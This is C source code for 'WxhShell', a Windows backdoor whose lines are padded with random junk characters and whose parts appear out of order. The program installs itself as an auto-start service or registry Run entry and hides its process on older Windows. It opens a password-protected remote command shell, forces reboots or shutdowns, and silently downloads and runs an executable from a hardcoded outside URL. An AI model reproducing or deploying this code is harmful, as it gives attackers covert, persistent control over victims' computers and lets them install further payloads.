    if(Boot(SHUTDOWN)) &d%0[Ui`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t9QnEP'  
    else { fV "gL(7  
    closesocket(wsh); ' F,.y6QU  
    ExitThread(0);  Zk={3Y  
    } ekR/X  
    break; |.ZYY(}  
    } B_kjy=]O.  
  // 获取shell 6I<^wS9j_  
  case 's': { 3 |se]~  
    CmdShell(wsh); Xur{nk~?  
    closesocket(wsh); gpvzOW/  
    ExitThread(0); qk+RZ>T<o  
    break; ep,"@,,  
  } cZb5h 9  
  // 退出 >.xg o6  
  case 'x': { $ ;J:kd;<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w%3*T#tp  
    CloseIt(wsh); &E/0jxM1  
    break; B$\,l.h E  
    } 6r]l8*3 4;  
  // 离开 s7789pR  
  case 'q': { $2kZM4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ji&%'h  
    closesocket(wsh); ~;QzV?%  
    WSACleanup(); (m~gG|n4  
    exit(1); lihV! 1  
    break; fPpFAO  
        } E!s?amM4  
  } R(1N]>  
  } rLKwuZ  
*LZB.84  
  // 提示信息 FD1Z}v!5IJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =O.%)|  
} H\PY\O&cP  
  } *7JsmN?  
-(;<Q_'s{"  
  return; &{R]v/{p]  
} SK]"JSY`  
f|r +qe  
// shell模块句柄 ,q".d =6  
int CmdShell(SOCKET sock) eoGGWW@[  
{ 5ns.||%k  
STARTUPINFO si; jE#&u DfI  
ZeroMemory(&si,sizeof(si)); Y CBcyE}p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GV"X) tGo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V,?BVt  
PROCESS_INFORMATION ProcessInfo; Rf4}4ixkj  
char cmdline[]="cmd"; j@guB:0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d1{%z\u a  
  return 0; ExW3LM9(  
} Vz\?a8qQ<  
+\ZaVi  
// 自身启动模式 .Bs~FIe^  
int StartFromService(void) e.n*IJ_fz  
{ hgU#2`fS  
typedef struct !xRboPg  
{ QqdVN3# 1z  
  DWORD ExitStatus; &2Q0ii#Aa  
  DWORD PebBaseAddress; Y@#rGV>  
  DWORD AffinityMask; >39\u &)  
  DWORD BasePriority; vw'BKi F  
  ULONG UniqueProcessId; wRCv?D`vV  
  ULONG InheritedFromUniqueProcessId; M~O$ ,dof  
}   PROCESS_BASIC_INFORMATION; +8zC ol?j  
BXx l-x  
PROCNTQSIP NtQueryInformationProcess; G,-x+e"  
66Tx>c"H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cg| C S?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qN@-H6D1=  
h+ggrwg'  
  HANDLE             hProcess; }~bx==SF6!  
  PROCESS_BASIC_INFORMATION pbi; 1=^edQ+   
([Da*Tk*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ][[\!og  
  if(NULL == hInst ) return 0; 9bb 5?b/  
L>X39R~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); An2Wj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6?uo6 I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lD]/Kx  
){M)0,:  
  if (!NtQueryInformationProcess) return 0; bmd3fJb`r  
|Ev V S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J69B1Yi  
  if(!hProcess) return 0; yu9 8d1  
.8~zgpK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [ }1+=Ub  
,enU`}9V*  
  CloseHandle(hProcess); =AVr<kP  
XT<{J8 0z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s4kkzTnXE3  
if(hProcess==NULL) return 0; y7LT;`A  
f{j.jfl\x  
HMODULE hMod; c%O8h  
char procName[255]; R;3Tyn+  
unsigned long cbNeeded; T!3_Q/~^r  
`ZLA=oD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  dl;  
tEC`-> |  
  CloseHandle(hProcess); ]*\m@lWu  
p J#<e  
if(strstr(procName,"services")) return 1; // 以服务启动 3A)Ec/;~  
]R7zvcu&  
  return 0; // 注册表启动 t9Y?0O}/  
} cfrvx^,2&  
n1;y"`gHk  
// 主模块 <}z, !w8  
int StartWxhshell(LPSTR lpCmdLine) TQiDbgFo  
{ {klyVb  
  SOCKET wsl; z&W5@6")`  
BOOL val=TRUE; o0`|r+E\  
  int port=0; k,M %"FLQ  
  struct sockaddr_in door; =3R5m>6!/  
f!D~aJ  
  if(wscfg.ws_autoins) Install(); 'du{ky  
U%zZw)  
port=atoi(lpCmdLine); oH vVZ  
NUjo5.7  
if(port<=0) port=wscfg.ws_port; \Bg?QhA_D  
B 4my  
  WSADATA data; j?gsc Q3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q4!6|%n8v  
vb1Gz]~)>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   48t_?2>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =j$!N# L  
  door.sin_family = AF_INET; %Tvy|L ,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ye^l~  
  door.sin_port = htons(port); j+-+<h/(  
}3xZ`vX[T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ")?NCun>  
closesocket(wsl); A"W}l)+X  
return 1; "JBTsQDj!  
} s"g"wh',  
0{'%j~"  
  if(listen(wsl,2) == INVALID_SOCKET) { l;'#!hC)  
closesocket(wsl); p#6V|5~8  
return 1; #'2CST  
} o*}--d? S  
  Wxhshell(wsl); ;+W9EbY2  
  WSACleanup(); ?RI&7699+  
^V5g[XL2  
return 0; @b,&b6V  
wNt-mgir-Q  
} CTOrBl$70  
&8^ch,+pD  
// 以NT服务方式启动 KfkE'_ F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m=.}}DcSs  
{ 6*Y>Y&sea  
DWORD   status = 0; $hGiI  
  DWORD   specificError = 0xfffffff; rh%-va9  
[WxRwE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #'?gMVSk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A;g{H|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3Hg}G#]WS  
  serviceStatus.dwWin32ExitCode     = 0; 7x ?2((   
  serviceStatus.dwServiceSpecificExitCode = 0; Bx&F*a;5  
  serviceStatus.dwCheckPoint       = 0; fj,]dQ T  
  serviceStatus.dwWaitHint       = 0; <z+b88D  
8ta`sNy9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sKU?"|G81G  
  if (hServiceStatusHandle==0) return; ,*}5xpX  
7Rix=*  
status = GetLastError(); x-3!sf@  
  if (status!=NO_ERROR) I X]K "hT  
{ +CF"Bm8@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -'jPue2\  
    serviceStatus.dwCheckPoint       = 0; WI+ 5x  
    serviceStatus.dwWaitHint       = 0; w6w'Jx  
    serviceStatus.dwWin32ExitCode     = status; cHO8%xu`  
    serviceStatus.dwServiceSpecificExitCode = specificError; |'bRVqJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5[{#/!LX)  
    return; MaX:o GF,  
  } zC[lPABQ  
-jJw wOm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <GthJr>1D  
  serviceStatus.dwCheckPoint       = 0; u^{6U(%  
  serviceStatus.dwWaitHint       = 0; Q[U_ 0O,A9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |loo ^!I  
} x22:@Ot6  
AT6:&5_`  
// 处理NT服务事件,比如:启动、停止 Jfkdiyy"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n$S`NNO{]  
{ *gxo! F}  
switch(fdwControl) pPX~pPIj2  
{ = e>#oPH  
case SERVICE_CONTROL_STOP: XA%a7Xtni  
  serviceStatus.dwWin32ExitCode = 0; iH#b"h{w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 14,Pf`5Sz  
  serviceStatus.dwCheckPoint   = 0; 'z}Hg *  
  serviceStatus.dwWaitHint     = 0; }CyS_Tc  
  { 6-w'?G37  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N1Pm4joH%  
  } 0-9.u`)#yu  
  return; <m|\#Jw_V  
case SERVICE_CONTROL_PAUSE: |0jmOcZF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !^ /Mn  
  break; ZX Sl+k .  
case SERVICE_CONTROL_CONTINUE: p>c`GDU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8!c#XMHV  
  break; W6>SYa  
case SERVICE_CONTROL_INTERROGATE: Q4&|^RLLG  
  break; d'yA"b]  
}; $)fybn Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EC6Q<&]Iw  
} Wveba)"$  
ydyGPZ t  
// 标准应用程序主函数 L`!M3c@u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i47xF7y\  
{   ps*dO  
Lk-%I?  
// 获取操作系统版本 clwJ+kku@  
OsIsNt=GetOsVer(); w|uO)/v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rq.S0bzH  
W"@FRWcd  
  // 从命令行安装 MGmUgc  
  if(strpbrk(lpCmdLine,"iI")) Install(); E9yBa=#*c  
3Q@HP;<  
  // 下载执行文件 27NhYDo  
if(wscfg.ws_downexe) { F$QAWs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g+-=/Ge  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,VM)ZK=Tr  
} { fmY_T[Q8  
08!pLE  
if(!OsIsNt) { )38M~/ ^l  
// 如果时win9x,隐藏进程并且设置为注册表启动 D=Pv:)*]  
HideProc(); a V4p0s6ZZ  
StartWxhshell(lpCmdLine); u*<G20~A  
} K^_Mt!%  
else jb~/>I^1  
  if(StartFromService()) H$/r{gfg^  
  // 以服务方式启动 h]#wwJF  
  StartServiceCtrlDispatcher(DispatchTable); 7fOk]Yl[  
else [uh$\s7  
  // 普通方式启动 | Ts0h?"a  
  StartWxhshell(lpCmdLine); =7Wr  
g`skmHS89  
return 0; V|h/a\P  
} t1I` n(]n  
>9S@:?^&q>  
&$vW  
73C  
=========================================== AV0C9a/td  
#h 4`f  
![v@+9  
w;;.bz m  
)cMW,  
F_Q?0 Do0'  
" K`9ph"(Z  
oM@X)6P_  
#include <stdio.h> _l`s}yC  
#include <string.h> W|PKcZ ]Uc  
#include <windows.h> "o*zZ;>^  
#include <winsock2.h> 3KF[ v{  
#include <winsvc.h> k]n=7vw;  
#include <urlmon.h> r] +V:l3  
<V3N!H_d  
#pragma comment (lib, "Ws2_32.lib") Z]I[?$y  
#pragma comment (lib, "urlmon.lib") t^ =6czk  
}a(x L'F  
#define MAX_USER   100 // 最大客户端连接数 Y2DR oQ  
#define BUF_SOCK   200 // sock buffer 2#n4t2 p  
#define KEY_BUFF   255 // 输入 buffer K,>D%mJ  
?5%|YsJP_  
#define REBOOT     0   // 重启 {&'u1yR  
#define SHUTDOWN   1   // 关机 v;9VX   
V8z91  
#define DEF_PORT   5000 // 监听端口 S=^a''bg  
S)@95pb  
#define REG_LEN     16   // 注册表键长度 M. Fu>Xi  
#define SVC_LEN     80   // NT服务名长度 ?Afx{H7  
:>Gm&w (n  
// 从dll定义API ?s<'3I{F`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *S).@j\{W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BVx: JiA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %C]K`=vI-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bBQ1 ~ R  
HqW|  
// wxhshell配置信息 T5eXcI0t  
struct WSCFG { Z7eD+4gD  
  int ws_port;         // 监听端口 0;Y|Ua[G+~  
  char ws_passstr[REG_LEN]; // 口令 x+}6qfc$9k  
  int ws_autoins;       // 安装标记, 1=yes 0=no :eK;:pN  
  char ws_regname[REG_LEN]; // 注册表键名 4MVa[ 0Y  
  char ws_svcname[REG_LEN]; // 服务名 SnF3I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lg0iNc!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C ^@~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4s<*rKm~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pcM'j#;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d1c_F~h<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W*q[f!@  
[TPr  
}; OBF2?[V~  
%bnDxCj"  
// default Wxhshell configuration '"H'#%RU  
struct WSCFG wscfg={DEF_PORT, P5+FZzQ  
    "xuhuanlingzhe", 0Ts[IHpg&E  
    1, 5@$b@jTd  
    "Wxhshell", M]?#]3XBNo  
    "Wxhshell", "+js7U-  
            "WxhShell Service", -f.<s!a  
    "Wrsky Windows CmdShell Service", Tc6H%itV  
    "Please Input Your Password: ", K8.=bGyg  
  1, V~+{douq  
  "http://www.wrsky.com/wxhshell.exe", 6g*B=d(j  
  "Wxhshell.exe" cH()Ze-B  
    }; 93|u. @lEy  
;4E0%@R  
// 消息定义模块 q%=`PCty  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3A_7R-sQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jUq^$+N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /@5X0m  
char *msg_ws_ext="\n\rExit."; #c5 NFU}9  
char *msg_ws_end="\n\rQuit."; klG]PUzd  
char *msg_ws_boot="\n\rReboot..."; A*BIudli  
char *msg_ws_poff="\n\rShutdown..."; I=VPw5"E  
char *msg_ws_down="\n\rSave to "; JJ3(0 +  
(m[]A&u  
char *msg_ws_err="\n\rErr!"; #msXAy$N3r  
char *msg_ws_ok="\n\rOK!"; f i-E_  
r'/7kF- 5  
char ExeFile[MAX_PATH]; !2WRxM  
int nUser = 0; ~_P,z?  
HANDLE handles[MAX_USER]; 7FMg6z8~  
int OsIsNt; '&5A*X]d  
xp%,@] p  
SERVICE_STATUS       serviceStatus; mnM#NT5]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8t!/O p ?  
^tIi;7k  
// 函数声明 ~Dw.3P:-  
int Install(void); CUB=T]  
int Uninstall(void); M3j_sd'N  
int DownloadFile(char *sURL, SOCKET wsh); >3 Q%Yn  
int Boot(int flag); !Y3w]_x[:  
void HideProc(void); H4 }^6><V  
int GetOsVer(void); Ij hC@5qk  
int Wxhshell(SOCKET wsl); DCv~^  
void TalkWithClient(void *cs); 3&kHAXzM  
int CmdShell(SOCKET sock); $-m`LF@  
int StartFromService(void); 6elmLDMni\  
int StartWxhshell(LPSTR lpCmdLine); *5iNw_&  
ir<HC 'D[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]<mXf~zg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dm1W C:b  
_e AZ_@  
// 数据结构和表定义 N5 SK_+  
SERVICE_TABLE_ENTRY DispatchTable[] = AD4KoT&  
{ q9w6 6R  
{wscfg.ws_svcname, NTServiceMain}, k9`Bi`wp  
{NULL, NULL} '{j.5~4y  
}; z#*w Na&@[  
xtyzy@)QL  
// 自我安装 ( Kh<qAP_n  
int Install(void) PuAcsYQhN  
{ 'v&k5`Qq  
  char svExeFile[MAX_PATH]; ]sJWiIe.  
  HKEY key; ;2 oR?COW  
  strcpy(svExeFile,ExeFile); NaC^q*>9  
hf rF7{yj  
// 如果是win9x系统,修改注册表设为自启动 m/sAYF"  
if(!OsIsNt) { <4,>`#NEo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l|[cA}HtB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a_/\.  
  RegCloseKey(key); KwOn<0P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dV<|ztv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Y#~2eYCz  
  RegCloseKey(key); bNR}Mk]?  
  return 0; ~WK>+T,%  
    } "q4c[dna  
  } r#wMd9])  
} ? &ew$%  
else { yzW9A=0A)  
ygr[5Tl  
// 如果是NT以上系统,安装为系统服务 ,{A-<=6t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I~EQuQ>=  
if (schSCManager!=0) jQOY\1SR  
{ ` /JJ\`Pu  
  SC_HANDLE schService = CreateService mmm025.   
  ( ,p/iN9+Z  
  schSCManager, Esw#D90q  
  wscfg.ws_svcname, /j!?qID  
  wscfg.ws_svcdisp, QA\eXnR  
  SERVICE_ALL_ACCESS, 2/f:VB?<T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gT*0WgB  
  SERVICE_AUTO_START, P]-d (N}/H  
  SERVICE_ERROR_NORMAL, VZ{aET!  
  svExeFile, J')Dt]/9  
  NULL, XX",&cp02V  
  NULL, Wq8Uq}~_g  
  NULL, 7f_4qb8  
  NULL, DoAK]zyJA  
  NULL e!b?SmNN  
  ); wxEFM)zr  
  if (schService!=0) *yOpMxE  
  { A@#9X'C$^  
  CloseServiceHandle(schService); nC^?6il  
  CloseServiceHandle(schSCManager); 2>0[^ .;"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j8 nG Gx  
  strcat(svExeFile,wscfg.ws_svcname); )nyud$9w'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $A)i}M;uK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w~QUG^0Fx  
  RegCloseKey(key); $}r*WZ  
  return 0; M%+l21&  
    } {.O Bcx  
  } 9*2A}dH  
  CloseServiceHandle(schSCManager); .Y[sQO~%  
} x F7C1g(  
} z-K?Ak B1  
(Y\aV+9[  
return 1; !Gsr* F{.  
} ~aa`Y0Ws],  
I{AteL  
// 自我卸载 \Rop~gD  
int Uninstall(void) o Hdss;q  
{ w<-8cvNhiz  
  HKEY key; BL6t>  
#~%tdmGuL  
if(!OsIsNt) { 4(Gs$QkSo|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x;89lHy@e  
  RegDeleteValue(key,wscfg.ws_regname); o&)O&bNJ  
  RegCloseKey(key); {;]:}nA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sF^3KJ|  
  RegDeleteValue(key,wscfg.ws_regname); DesvnV'{`  
  RegCloseKey(key); %m1k^  
  return 0; y-O# +{7  
  } 1[o] u:m9U  
} ?#ue:O1  
} +lmMBjDa  
else { He="S3XON  
'$*d:1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1BUdl=o>S  
if (schSCManager!=0) |rkj$s,  
{ iJuh1+6:c9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K-F@OSK'  
  if (schService!=0) ,A9pj k'  
  { Ps5UX6\ .m  
  if(DeleteService(schService)!=0) { ZYZQ?FN  
  CloseServiceHandle(schService); LivPk`[  
  CloseServiceHandle(schSCManager); I <`9ANe  
  return 0; 6*%3O=*  
  } Y%:FawR  
  CloseServiceHandle(schService); <T{2a\i 4f  
  } )nU%}Z  
  CloseServiceHandle(schSCManager); Fv=7~6~  
} q/~U[.C  
} SHS:>V  
o B;EP  
return 1; eW#U<x%P  
} awN{F6@ZE  
S]iMZ \I/  
// 从指定url下载文件 |9ro&KA  
int DownloadFile(char *sURL, SOCKET wsh) YJ_`[LnL  
{ j|!.K|9B  
  HRESULT hr; JCZ"#8M3  
char seps[]= "/"; =A&x d"  
char *token; /WXy!W30<  
char *file; FU/yJy  
char myURL[MAX_PATH]; rRyBGEj  
char myFILE[MAX_PATH]; d)`XG cx{=  
"H\'4'hg  
strcpy(myURL,sURL); Bi2be$nV  
  token=strtok(myURL,seps); ;%P$q9 *C  
  while(token!=NULL) b{qeu$G R  
  { g=.~_&O  
    file=token; 'gd3 w~  
  token=strtok(NULL,seps); R[ p. )F7  
  } itb0dF1G  
I9P< !#q>  
GetCurrentDirectory(MAX_PATH,myFILE); 6r"uDV #0  
strcat(myFILE, "\\"); r1&b#r>  
strcat(myFILE, file); -]c5**O}  
  send(wsh,myFILE,strlen(myFILE),0); }r^@Xh  
send(wsh,"...",3,0); k.? aq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wOQ-sp0q0  
  if(hr==S_OK) 5\1Z"?  
return 0; CZyOAoc<  
else ^G%Bj`%  
return 1; Qx CZ<|  
CL%?K<um  
} /'?Fz*b  
J&UFP{)  
// 系统电源模块 |1J=wp)#  
int Boot(int flag) +RS>#zd/=  
{ Q >[*Y/`I  
  HANDLE hToken; R< @o]p  
  TOKEN_PRIVILEGES tkp; e:}8|e~T  
Q#P=t83  
  if(OsIsNt) { qR0V\OtgY~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -C.x;@!k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qp (ng 8%c  
    tkp.PrivilegeCount = 1; x' *,~u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +F q`I2l|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \ &1)k/  
if(flag==REBOOT) { [z#C&gDt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F_;oZ   
  return 0; "8 |y  
} oZ95)'L,  
else { 7><ne|%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CK[2duf^~  
  return 0; B;t U+36nM  
} Cd)e_&  
  } 1L1_x'tT%  
  else { FrD.{(/~  
if(flag==REBOOT) { f 'aQ T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RP'`\| |*  
  return 0; u%?u`n2'  
} e"(l  
else { 8;9GM^L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n's3!HQY[  
  return 0; bsVms,&  
} Pm; /Ua  
} 5(bG  
,GEMc a,`  
return 1; Ti`<,TA54  
} 3N6U6.Tqb  
7?j$Lwt  
// win9x进程隐藏模块 BX$t |t;!m  
void HideProc(void) Y W_E,A>h  
{ <$Q\vCR  
M>J8J*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ge$cV}  
  if ( hKernel != NULL ) ;AKtb S;H  
  { B[7|]"L@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,}F2l|x_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *FDz20S  
    FreeLibrary(hKernel); QxvxeK!Y  
  } ut%t`Y( ]  
p3O%|)yV  
return; o>#<c @  
} zMb7a_W  
t$=FcKUV}f  
// 获取操作系统版本 :7%JD.;W  
int GetOsVer(void) 6"Q/Y[y  
{ , RfU1R  
  OSVERSIONINFO winfo; &3v{~Xg)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ; iQ@wOL]  
  GetVersionEx(&winfo); {LTb-CB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qfo'w%px  
  return 1; H4 Y7p  
  else pWH8ex+  
  return 0; j~c7nWfX  
} d$)'?Sf]h  
[^ck;4q  
// 客户端句柄模块 !OM9aITv[  
int Wxhshell(SOCKET wsl) \lHi=}0  
{ =" K;3a`GI  
  SOCKET wsh; 5P{dey!  
  struct sockaddr_in client; K !8+~[  
  DWORD myID; 8yax.N j  
qT#+DDEAL  
  while(nUser<MAX_USER) @8C^[fDL  
{ At%g^  
  int nSize=sizeof(client); ! e6;@*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5:9Ay ?  
  if(wsh==INVALID_SOCKET) return 1; Ou/@!Y1  
8 W8ahG}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #{7=  
if(handles[nUser]==0) vIG8m@-!&;  
  closesocket(wsh); Pgf$GXE  
else f2[z)j7  
  nUser++; OTd=(dwh  
  } |s|>46E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  S]ZO*+  
=O1CxsKt6  
  return 0; T3Kq1 Rh  
} YD2M<.U  
>4GhI65  
// 关闭 socket 7>xxur&  
void CloseIt(SOCKET wsh) N'Va&"&73>  
{ ,^O**k9F  
closesocket(wsh); `m<l8'g  
nUser--; Cca( oV  
ExitThread(0); N J:]jd  
} {>OuxVl??k  
7M}T^LC  
// 客户端请求句柄 (rFY8oHD  
void TalkWithClient(void *cs) U jVo "K  
{ aW %ulZ  
%Z&[wU~  
  SOCKET wsh=(SOCKET)cs; k<=.1cFh  
  char pwd[SVC_LEN]; KXcG;b[7n  
  char cmd[KEY_BUFF]; 7^Uv1ezDR  
char chr[1]; R+lKQAyC0=  
int i,j; hU5[k/ q  
V'pNo&O=  
  while (nUser < MAX_USER) { E5 H6&XU  
jD0^,aiG  
if(wscfg.ws_passstr) { <;#d*&]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $y\'j5nk3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t-dN:1  
  //ZeroMemory(pwd,KEY_BUFF); JXBW0|8b  
      i=0; /7|u2!#Ui  
  while(i<SVC_LEN) { 7~cN  
9cFFQM|o  
  // 设置超时 IkH]W!_+  
  fd_set FdRead; &GwBxJ  
  struct timeval TimeOut; R`G%eG)+  
  FD_ZERO(&FdRead); N<Rb<p%  
  FD_SET(wsh,&FdRead); /4 RKA!W  
  TimeOut.tv_sec=8; n5 @H  
  TimeOut.tv_usec=0; 7u,56V?X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3nd02:GF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {#uX   
TuwH?{ FzK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o; 6\  
  pwd=chr[0]; Po&gr@e.V  
  if(chr[0]==0xd || chr[0]==0xa) { $J[h(>-X  
  pwd=0; FOB9CsMe  
  break; 1>b kVA  
  } Y%p"RB[  
  i++; 4a>z]&s  
    } !OPK?7   
$q DH  
  // 如果是非法用户,关闭 socket Gw!jYnU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ")ow,r^"  
} )<DL'  
J[L$8y:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mb3,!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +%eMm.(  
,V)yOLApVj  
while(1) { vkE6e6,Qc  
"<3PyW?zt  
  ZeroMemory(cmd,KEY_BUFF); =/.[&DG  
LH]nJdq?)  
      // 自动支持客户端 telnet标准   g-oHu8   
  j=0; #PoUCRRC  
  while(j<KEY_BUFF) { `*9W{|~Gwx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N-3w)23*:  
  cmd[j]=chr[0]; h_?D%b~5  
  if(chr[0]==0xa || chr[0]==0xd) { h\C  
  cmd[j]=0; 9g"a`a?c  
  break; \PU|<Ru.  
  } V5K`TC^  
  j++; KLsTgo|J  
    } 4&K~EX"^T  
$&n!j'C:  
  // 下载文件 |6`yE]3 -(  
  if(strstr(cmd,"http://")) { M=26@ n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ," :ADO-  
  if(DownloadFile(cmd,wsh)) eXnMS!g%Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 -gt V#  
  else -[`,MZf   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }UHuFff,  
